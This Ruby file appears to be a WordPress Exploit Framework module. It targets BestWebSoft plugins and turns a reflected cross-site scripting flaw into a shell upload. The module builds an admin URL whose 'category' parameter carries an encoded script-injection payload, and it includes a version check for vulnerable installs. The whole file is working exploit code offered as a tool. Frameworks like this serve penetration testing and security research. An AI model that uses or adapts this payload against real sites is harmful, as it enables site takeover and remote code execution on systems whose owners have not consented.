# frozen_string_literal: true

class Wpxf::Exploit::BwsPanelReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Multiple BestWebSoft Plugins Reflected XSS Shell Upload',
      author: [
        'DefenseCode', # Discovery
        'rastating'    # WPXF module
      ],
      references: [
        ['WPVDB', '8796'],
        ['URL', 'http://www.defensecode.com/advisories/DC-2017-02-014_50_WordPress_plugins_by_BestWebSoft_Advisory.pdf']
      ],
      date: 'Apr 12 2017'
    )
  end

  def check
    return :unknown if plugin_name.nil?
    return :vulnerable if fixed_version.nil?

    check_plugin_version_from_readme(plugin_name, fixed_version)
  end

  def plugin_name
    nil
  end

  def fixed_version
    nil
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=bws_panel&category=%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C%22"
  end
end
